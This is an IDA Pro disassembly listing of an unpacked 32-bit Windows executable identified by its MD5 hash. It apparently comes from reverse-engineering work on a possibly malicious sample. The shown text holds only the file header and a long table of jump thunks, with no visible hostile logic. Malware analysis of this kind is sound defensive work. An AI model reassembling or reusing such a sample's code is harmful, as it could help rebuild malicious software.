;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	901902CF1E1122BB9B563DCFA4586FCA

; File Name   :	u:\work\901902cf1e1122bb9b563dcfa4586fca_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00110000 (1114112.)
; Section size in file		: 00110000 (1114112.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
		db 5 dup(0CCh)
; ---------------------------------------------------------------------------
		jmp	loc_42F630
; ---------------------------------------------------------------------------


loc_40100A:				; DATA XREF: ___:off_43E09Co
		jmp	loc_412CB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40100F	proc near		; CODE XREF: sub_421AF0+29p
		jmp	sub_422050
sub_40100F	endp

; ---------------------------------------------------------------------------
		jmp	loc_431250
; ---------------------------------------------------------------------------
		jmp	loc_420DA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40101E	proc near		; CODE XREF: ___:004118E3p
		jmp	sub_411910
sub_40101E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401023	proc near		; CODE XREF: ___:0040B1BDp
					; ___:0040B1CAp ...
		jmp	sub_403C00
sub_401023	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401028	proc near		; CODE XREF: sub_41FA90+34p
		jmp	sub_40B000
sub_401028	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40102D	proc near		; CODE XREF: sub_404C70+619p
					; sub_404C70+6D8p ...
		jmp	sub_40A030
sub_40102D	endp

; ---------------------------------------------------------------------------
		jmp	sub_42A100

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401037	proc near		; CODE XREF: sub_413510+3Bp
					; ___:00414B30p
		jmp	sub_4155E0
sub_401037	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40103C	proc near		; CODE XREF: sub_42F840+6Ep
					; sub_42F840+8Ap ...
		jmp	sub_432FE0
sub_40103C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401041	proc near		; CODE XREF: ___:0042EF22p
					; sub_42F840+3Fp ...
		jmp	sub_432E60
sub_401041	endp

; ---------------------------------------------------------------------------
		jmp	loc_423940

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40104B	proc near
		jmp	sub_40D130
sub_40104B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401050	proc near		; CODE XREF: sub_40B000+3Ap
					; sub_40B070+1Ap
		jmp	sub_432980
sub_401050	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401055	proc near		; CODE XREF: sub_41E660+37Bp
		jmp	sub_421C30
sub_401055	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40105A	proc near		; CODE XREF: sub_40C0C0+8p
		jmp	sub_40C280
sub_40105A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40105F	proc near		; CODE XREF: sub_431900+5Ap
					; sub_433710+50p
		jmp	sub_4318C0
sub_40105F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401064	proc near		; DATA XREF: ___:off_43E07Co
		jmp	sub_41C610
sub_401064	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401069	proc near		; CODE XREF: ___:00416EAAp
		jmp	sub_41FBD0
sub_401069	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40106E	proc near		; CODE XREF: sub_40BF60+32p
		jmp	sub_40C120
sub_40106E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401073	proc near		; CODE XREF: ___:00416EBAp
		jmp	sub_418290
sub_401073	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401078	proc near		; CODE XREF: sub_415830+5Ep
					; sub_416280+32p
		jmp	sub_4161C0
sub_401078	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40107D	proc near		; CODE XREF: sub_41E660+161p
					; sub_4223E0+3p
		jmp	sub_421A50
sub_40107D	endp

; ---------------------------------------------------------------------------
		jmp	loc_41ACE0
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40108C	proc near		; CODE XREF: sub_421C30+3p
					; ___:00421FFFp ...
		jmp	sub_422170
sub_40108C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401091	proc near		; CODE XREF: sub_40C400+43p
		jmp	sub_40CAD0
sub_401091	endp

; ---------------------------------------------------------------------------
		jmp	sub_427FF0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40109B	proc near		; CODE XREF: sub_407570+Ap
		jmp	sub_407610
sub_40109B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A0	proc near		; CODE XREF: sub_4245F0+23p
					; sub_424790+6p ...
		jmp	sub_424500
sub_4010A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A5	proc near		; CODE XREF: sub_430C00+F5p
					; sub_430C00+14Fp
		jmp	sub_432DF0
sub_4010A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AA	proc near		; CODE XREF: sub_4331D0+C8p
		jmp	sub_430990
sub_4010AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AF	proc near		; DATA XREF: ___:0043E174o
		jmp	sub_429DC0
sub_4010AF	endp

; ---------------------------------------------------------------------------


loc_4010B4:				; DATA XREF: ___:off_43E0A0o
		jmp	loc_41E2C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010B9	proc near		; CODE XREF: sub_418330+D0p
					; sub_418490+2Dp
		jmp	sub_418A20
sub_4010B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010BE	proc near		; CODE XREF: sub_40FF60+8D9p
					; sub_40FF60+990p ...
		jmp	sub_411860
sub_4010BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C3	proc near		; CODE XREF: ___:0042F336p
					; ___:0042F3A4p ...
		jmp	sub_430F00
sub_4010C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C8	proc near		; CODE XREF: sub_421D50+9p
					; sub_422240+18p
		jmp	sub_4223C0
sub_4010C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010CD	proc near		; CODE XREF: sub_40A9F0+58p
					; sub_40A9F0+82p ...
		jmp	sub_40ABE0
sub_4010CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010D2	proc near		; CODE XREF: sub_422A40+3F1p
					; ___:00423AA6p ...
		jmp	sub_419AE0
sub_4010D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4010D7	proc near		; CODE XREF: sub_416010+7p
		jmp	sub_416640
sub_4010D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010DC	proc near		; CODE XREF: sub_415520+4Fp
					; sub_415E70+11p ...
		jmp	sub_4160C0
sub_4010DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010E1	proc near		; CODE XREF: sub_429C30+58p
		jmp	sub_429AA0
sub_4010E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4010E6	proc near		; CODE XREF: sub_421870+1Fp
		jmp	sub_421CB0
sub_4010E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010EB	proc near		; CODE XREF: sub_421FB0+11p
					; ___:00421FD7p ...
		jmp	sub_4224D0
sub_4010EB	endp

; ---------------------------------------------------------------------------
		jmp	loc_413D60

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010F5	proc near		; CODE XREF: sub_421A30+3p
					; ___:00421D9Fp ...
		jmp	sub_421F10
sub_4010F5	endp

; ---------------------------------------------------------------------------
		jmp	loc_414400

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010FF	proc near		; CODE XREF: sub_426F20+3p
		jmp	sub_426F50
sub_4010FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401104	proc near		; CODE XREF: sub_415A00+11p
					; ___:00415A27p ...
		jmp	sub_416470
sub_401104	endp

; ---------------------------------------------------------------------------
		jmp	loc_433310

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40110E	proc near		; CODE XREF: sub_421B60+5p
					; sub_421C50+6p ...
		jmp	sub_422150
sub_40110E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401113	proc near		; CODE XREF: ___:00416A5Bp
					; ___:00439F5Ej ...
		jmp	sub_417A60
sub_401113	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401118	proc near		; CODE XREF: sub_404C70+6Ap
					; sub_404C70+1AFp ...
		jmp	sub_412970
sub_401118	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40111D	proc near		; DATA XREF: ___:off_43E074o
		jmp	sub_4192C0
sub_40111D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401122	proc near		; CODE XREF: sub_431A20+6p
					; ___:00431A33p ...
		jmp	sub_42F480
sub_401122	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E3D0
; ---------------------------------------------------------------------------


loc_40112C:				; DATA XREF: ___:off_43E15Co
		jmp	loc_429A30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401131	proc near		; CODE XREF: ___:00423C9Dp
		jmp	sub_423760
sub_401131	endp

; ---------------------------------------------------------------------------
		jmp	loc_431F50

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40113B	proc near		; CODE XREF: ___:004150A8p
		jmp	sub_415990
sub_40113B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401140	proc near		; CODE XREF: sub_41B950+F7p
					; sub_41B950+10Bp ...
		jmp	sub_409EA0
sub_401140	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401145	proc near		; CODE XREF: sub_409910+Ap
		jmp	sub_409A00
sub_401145	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40114A	proc near		; CODE XREF: sub_4133D0+55p
					; sub_4133D0+94p ...
		jmp	sub_415770
sub_40114A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40114F	proc near		; CODE XREF: sub_425020+183p
		jmp	sub_4235F0
sub_40114F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401154	proc near		; CODE XREF: ___:00414BBEp
		jmp	sub_415520
sub_401154	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401159	proc near		; CODE XREF: sub_427600+3p
		jmp	sub_427630
sub_401159	endp

; ---------------------------------------------------------------------------


loc_40115E:				; DATA XREF: ___:off_43E038o
		jmp	loc_4118E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401163	proc near		; CODE XREF: sub_415DD0+11p
					; ___:00415DF7p ...
		jmp	sub_4165F0
sub_401163	endp

; ---------------------------------------------------------------------------
		jmp	loc_41D730

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40116D	proc near		; CODE XREF: sub_418B10+23p
					; sub_418D80+11p
		jmp	sub_418E60
sub_40116D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401172	proc near		; CODE XREF: sub_418A90+3p
					; sub_418E90+54p ...
		jmp	sub_418CE0
sub_401172	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401177	proc near		; CODE XREF: sub_409600+6Ap
					; sub_409600+103p
		jmp	sub_4098A0
sub_401177	endp

; ---------------------------------------------------------------------------
		jmp	loc_432840

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401181	proc near		; CODE XREF: ___:00413D7Dp
		jmp	sub_413B70
sub_401181	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401186	proc near		; CODE XREF: ___:0041A1E4p
		jmp	sub_41AFE0
sub_401186	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40118B	proc near		; CODE XREF: sub_4133D0+88p
					; sub_4147D0+BFp ...
		jmp	sub_415930
sub_40118B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401190	proc near		; CODE XREF: sub_42F480+7p
					; sub_42F4F0+19p ...
		jmp	sub_4338B0
sub_401190	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401195	proc near
		jmp	sub_40DB10
sub_401195	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40119A	proc near		; CODE XREF: ___:004310AAp
		jmp	sub_430A50
sub_40119A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40119F	proc near		; CODE XREF: sub_4071E0+11p
					; sub_407370+1Fp
		jmp	sub_407410
sub_40119F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011A4	proc near		; CODE XREF: sub_4036D0+3B5p
					; sub_4036D0+3C5p ...
		jmp	sub_403E00
sub_4011A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011A9	proc near		; CODE XREF: sub_421C10+3p
		jmp	sub_422190
sub_4011A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011AE	proc near		; CODE XREF: sub_40C250+Ap
		jmp	sub_40C310
sub_4011AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011B3	proc near		; CODE XREF: sub_4036D0+1Dp
					; sub_407030+1Fp ...
		jmp	sub_403C70
sub_4011B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011B8	proc near		; CODE XREF: ___:00413274p
					; ___:0043998Cj ...
		jmp	sub_4153B0
sub_4011B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011BD	proc near		; CODE XREF: sub_42B350+3p
		jmp	sub_42B380
sub_4011BD	endp

; ---------------------------------------------------------------------------
		jmp	loc_40AF00

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011C7	proc near		; CODE XREF: ___:00414BCDp
		jmp	sub_414C70
sub_4011C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011CC	proc near		; CODE XREF: sub_407610+7p
					; sub_409A00+7p ...
		jmp	sub_407640
sub_4011CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011D1	proc near		; CODE XREF: sub_413510+73p
					; ___:00414B6Dp ...
		jmp	sub_415600
sub_4011D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011D6	proc near		; CODE XREF: sub_41E660+58p
		jmp	sub_420530
sub_4011D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011DB	proc near		; CODE XREF: sub_413DA0+84p
		jmp	sub_4137E0
sub_4011DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011E0	proc near		; CODE XREF: ___:00432428p
		jmp	sub_42FD70
sub_4011E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011E5	proc near		; CODE XREF: sub_4074C0+8p
		jmp	sub_4075A0
sub_4011E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011EA	proc near		; CODE XREF: sub_404C70+9Fp
					; sub_404C70+230p ...
		jmp	sub_40A430
sub_4011EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011EF	proc near		; CODE XREF: sub_40A790+21p
					; sub_40A9F0+A5p
		jmp	sub_40A9D0
sub_4011EF	endp

; ---------------------------------------------------------------------------
		jmp	loc_40AF70

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011F9	proc near		; CODE XREF: sub_40A430+129p
					; sub_40A810+4p ...
		jmp	sub_40A7E0
sub_4011F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011FE	proc near		; DATA XREF: ___:off_43E0DCo
		jmp	sub_426650
sub_4011FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401203	proc near		; CODE XREF: ___:004322BDp
		jmp	sub_42FA70
sub_401203	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401208	proc near		; CODE XREF: sub_4072F0+3p
					; ___:004073BFp ...
		jmp	sub_407480
sub_401208	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40120D	proc near		; CODE XREF: sub_41D830+346p
					; sub_41D830+410p ...
		jmp	sub_421870
sub_40120D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401212	proc near		; CODE XREF: sub_421AB0+11p
					; sub_421FB0+1Fp
		jmp	sub_4220E0
sub_401212	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401217	proc near		; CODE XREF: sub_42B4F0+3p
		jmp	sub_42B520
sub_401217	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40121C	proc near
		jmp	sub_407790
sub_40121C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401221	proc near		; CODE XREF: sub_40C120+5Fp
		jmp	sub_40C2F0
sub_401221	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401226	proc near		; CODE XREF: sub_4034E0+F6p
					; sub_4034E0+12Ep ...
		jmp	sub_409C30
sub_401226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40122B	proc near		; CODE XREF: sub_41E660+113p
					; sub_41E660+124p
		jmp	sub_421A30
sub_40122B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401230	proc near		; DATA XREF: ___:0043E060o
		jmp	sub_41F860
sub_401230	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401235	proc near		; CODE XREF: ___:00416AFBp
					; ___:00439ED2j ...
		jmp	sub_4176B0
sub_401235	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40123A	proc near		; CODE XREF: sub_40AEC0+Fp
		jmp	sub_42FF50
sub_40123A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40123F	proc near		; CODE XREF: sub_418B10+32p
		jmp	sub_418D80
sub_40123F	endp

; ---------------------------------------------------------------------------
		jmp	loc_433570

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401249	proc near		; CODE XREF: sub_415420+5p
					; sub_415620+6p ...
		jmp	sub_416030
sub_401249	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40124E	proc near		; CODE XREF: sub_40BCB0+29p
					; sub_40BDD0+29p
		jmp	sub_40BF60
sub_40124E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401253	proc near		; CODE XREF: sub_41E660+3E9p
					; ___:0043B1ABj
		jmp	sub_421AF0
sub_401253	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401258	proc near		; CODE XREF: sub_4144D0+BFp
		jmp	sub_415210
sub_401258	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40125D	proc near		; CODE XREF: sub_4164E0+Ap
		jmp	sub_416820
sub_40125D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401262	proc near		; CODE XREF: ___:00416B67p
					; ___:00439E73j ...
		jmp	sub_416FB0
sub_401262	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401267	proc near
		jmp	sub_418330
sub_401267	endp

; ---------------------------------------------------------------------------
		jmp	sub_416C30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401271	proc near		; CODE XREF: ___:00416E1Fp
		jmp	sub_417FD0
sub_401271	endp

; ---------------------------------------------------------------------------
		jmp	loc_414690
; ---------------------------------------------------------------------------
		jmp	loc_42F030

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401280	proc near		; CODE XREF: sub_40FF60+387p
					; sub_41EF30+21Dp ...
		jmp	sub_41B6E0
sub_401280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401285	proc near		; CODE XREF: ___:00416E5Ap
		jmp	sub_418180
sub_401285	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40128A	proc near		; CODE XREF: sub_409490+8p
		jmp	sub_4094E0
sub_40128A	endp

; ---------------------------------------------------------------------------
		jmp	loc_429A30

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401294	proc near		; CODE XREF: sub_409600+A5p
					; sub_412BC0+21p
		jmp	sub_409810
sub_401294	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401299	proc near		; CODE XREF: sub_404C70+385p
					; sub_41D830+5AAp
		jmp	sub_41C030
sub_401299	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40129E	proc near		; CODE XREF: ___:00416D6Fp
		jmp	sub_4036D0
sub_40129E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012A3	proc near		; CODE XREF: sub_418BC0+23p
					; sub_418E90+11p
		jmp	sub_418FE0
sub_4012A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012A8	proc near		; CODE XREF: sub_424840+Cp
					; sub_424840+3Ep ...
		jmp	sub_424330
sub_4012A8	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F670

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012B2	proc near		; CODE XREF: sub_404C70+860p
					; sub_404C70+ADCp ...
		jmp	sub_40A290
sub_4012B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012B7	proc near		; CODE XREF: ___:0042EB16p
					; ___:0042EB66p ...
		jmp	sub_431490
sub_4012B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012BC	proc near		; CODE XREF: sub_41E660+367p
					; sub_41E660+3D4p ...
		jmp	sub_421C80
sub_4012BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012C1	proc near		; DATA XREF: sub_426A60+107o
		jmp	sub_426CE0
sub_4012C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012C6	proc near		; CODE XREF: sub_424720+18p
					; sub_424760+Ap ...
		jmp	sub_4246D0
sub_4012C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012CB	proc near		; CODE XREF: sub_416120+9p
					; sub_4161C0+18p
		jmp	sub_4167D0
sub_4012CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012D0	proc near		; DATA XREF: sub_431280+32o
		jmp	sub_431A80
sub_4012D0	endp

; ---------------------------------------------------------------------------
		jmp	loc_42EB60
; ---------------------------------------------------------------------------
		jmp	loc_419BB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012DF	proc near		; CODE XREF: sub_429AA0+67p
		jmp	sub_41FEF0
sub_4012DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4012E4	proc near		; CODE XREF: ___:0042EEF8p
					; sub_42F0B0+2p ...
		jmp	sub_430270
sub_4012E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012E9	proc near		; CODE XREF: sub_413670+3Fp
					; sub_4144D0+40p ...
		jmp	sub_415160
sub_4012E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012EE	proc near		; CODE XREF: sub_404640+19Fp
					; sub_404640+212p ...
		jmp	sub_409EF0
sub_4012EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012F3	proc near		; CODE XREF: sub_424E90+B5p
					; sub_424E90+F1p
		jmp	sub_424E20
sub_4012F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012F8	proc near		; CODE XREF: sub_425020+127p
		jmp	sub_424E90
sub_4012F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012FD	proc near		; CODE XREF: ___:00416E3Ap
		jmp	sub_418080
sub_4012FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401302	proc near		; CODE XREF: ___:00416E0Fp
		jmp	sub_417F10
sub_401302	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401307	proc near		; CODE XREF: sub_4303D0+1p
		jmp	sub_430460
sub_401307	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40130C	proc near		; CODE XREF: ___:00425F11p
		jmp	sub_426450
sub_40130C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401311	proc near		; CODE XREF: sub_418330+71p
					; sub_418330+BBp ...
		jmp	sub_4189F0
sub_401311	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401316	proc near		; CODE XREF: sub_40A0A0+7p
		jmp	sub_40A0C0
sub_401316	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40131B	proc near		; CODE XREF: ___:004316D8p
					; sub_431730+2Bp
		jmp	sub_431900
sub_40131B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401320	proc near		; CODE XREF: sub_431280+1p
		jmp	sub_4314C0
sub_401320	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401325	proc near		; CODE XREF: sub_4207E0+37Bp
		jmp	sub_421BD0
sub_401325	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40132A	proc near		; CODE XREF: sub_414360+5Bp
		jmp	sub_415030
sub_40132A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40132F	proc near		; CODE XREF: sub_4153B0+29p
					; sub_4154D0+29p
		jmp	sub_415F30
sub_40132F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401334	proc near		; CODE XREF: ___:00435F42p
					; ___:00435F52p ...
		jmp	sub_435E00
sub_401334	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401339	proc near		; CODE XREF: sub_4133D0+5Fp
					; sub_4133D0+9Ep ...
		jmp	sub_415960
sub_401339	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40133E	proc near		; CODE XREF: sub_40B520+62p
					; ___:0040B9E8p ...
		jmp	sub_40BE60
sub_40133E	endp

; ---------------------------------------------------------------------------
		jmp	loc_4300C0
; ---------------------------------------------------------------------------
		jmp	loc_42EC40

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40134D	proc near		; DATA XREF: ___:0043E1A8o
		jmp	sub_42B3A0
sub_40134D	endp

; ---------------------------------------------------------------------------
		jmp	loc_42B2E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401357	proc near		; CODE XREF: sub_416090+8p
		jmp	sub_4166B0
sub_401357	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40135C	proc near		; CODE XREF: sub_4133D0+71p
					; sub_4133D0:loc_41349Cp ...
		jmp	sub_415910
sub_40135C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401361	proc near		; CODE XREF: sub_418330+AFp
					; sub_418FE0+3p
		jmp	sub_418AB0
sub_401361	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401366	proc near		; DATA XREF: ___:0043E104o
		jmp	sub_426A60
sub_401366	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40136B	proc near		; CODE XREF: sub_40B520+39p
					; sub_40B520+78p ...
		jmp	sub_40BE90
sub_40136B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401370	proc near		; CODE XREF: sub_4257A0+29p
					; sub_4257A0+38p
		jmp	sub_4256B0
sub_401370	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401375	proc near		; CODE XREF: sub_41A500+1Cp
		jmp	sub_41A540
sub_401375	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40137A	proc near		; DATA XREF: ___:0043E164o
		jmp	sub_429C30
sub_40137A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40137F	proc near		; CODE XREF: ___:00408BD9p
					; ___:00414481p
		jmp	sub_414230
sub_40137F	endp


